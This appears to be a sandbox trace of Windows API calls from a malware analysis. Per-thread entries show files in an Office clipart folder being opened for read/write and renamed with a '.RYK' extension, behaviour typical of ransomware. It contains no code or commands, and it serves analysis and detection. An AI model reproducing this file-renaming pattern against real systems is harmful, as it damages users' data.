	[0247.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2818
	os_tid = 0x3158

	[0245.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF", dwFileAttributes=0x80) returned 0
	[0245.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.453] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.453] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2819
	os_tid = 0x315c

	[0245.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF", dwFileAttributes=0x80) returned 0
	[0245.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.467] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2820
	os_tid = 0x3160

	[0245.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF", dwFileAttributes=0x80) returned 0
	[0247.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2821
	os_tid = 0x3164

	[0245.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF", dwFileAttributes=0x80) returned 0
	[0247.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.448] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2822
	os_tid = 0x3168

	[0245.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF", dwFileAttributes=0x80) returned 0
	[0247.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.464] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2823
	os_tid = 0x316c

	[0245.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF", dwFileAttributes=0x80) returned 0
	[0247.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2824
	os_tid = 0x3170

	[0245.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF", dwFileAttributes=0x80) returned 0
	[0247.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2825
	os_tid = 0x3174

	[0245.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF", dwFileAttributes=0x80) returned 0
	[0247.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.444] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2826
	os_tid = 0x3178

	[0245.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF", dwFileAttributes=0x80) returned 0
	[0247.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.443] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2827
	os_tid = 0x317c

	[0245.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF", dwFileAttributes=0x80) returned 0
	[0247.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.442] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2828
	os_tid = 0x3180

	[0245.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF", dwFileAttributes=0x80) returned 0
	[0247.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.440] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2829
	os_tid = 0x3184

	[0245.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF", dwFileAttributes=0x80) returned 0
	[0247.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.438] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2830
	os_tid = 0x3188

	[0245.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF", dwFileAttributes=0x80) returned 0
	[0247.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.437] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2832
	os_tid = 0x3190

	[0245.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF", dwFileAttributes=0x80) returned 0
	[0247.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.434] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2833
	os_tid = 0x3194

	[0245.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF", dwFileAttributes=0x80) returned 0
	[0247.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2834
	os_tid = 0x3198

	[0245.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF", dwFileAttributes=0x80) returned 0
	[0247.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.436] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2835
	os_tid = 0x319c

	[0245.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF", dwFileAttributes=0x80) returned 0
	[0247.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.433] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2836
	os_tid = 0x31a0

	[0245.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF", dwFileAttributes=0x80) returned 0
	[0247.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.430] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2837
	os_tid = 0x31a4

	[0245.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF", dwFileAttributes=0x80) returned 0
	[0247.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.423] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2838
	os_tid = 0x31a8

	[0245.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF", dwFileAttributes=0x80) returned 0
	[0247.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2839
	os_tid = 0x31ac

	[0245.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF", dwFileAttributes=0x80) returned 0
	[0247.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2840
	os_tid = 0x31b0

	[0245.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF", dwFileAttributes=0x80) returned 0
	[0247.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.421] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2841
	os_tid = 0x31b4

	[0245.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF", dwFileAttributes=0x80) returned 0
	[0247.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2842
	os_tid = 0x31b8

	[0245.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF", dwFileAttributes=0x80) returned 0
	[0247.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2843
	os_tid = 0x31bc

	[0245.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF", dwFileAttributes=0x80) returned 0
	[0247.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.819] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0247.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2844
	os_tid = 0x31c0

	[0245.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF", dwFileAttributes=0x80) returned 0
	[0247.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0247.451] CloseHandle (hObject=0xffffffffffffffff) returned 0
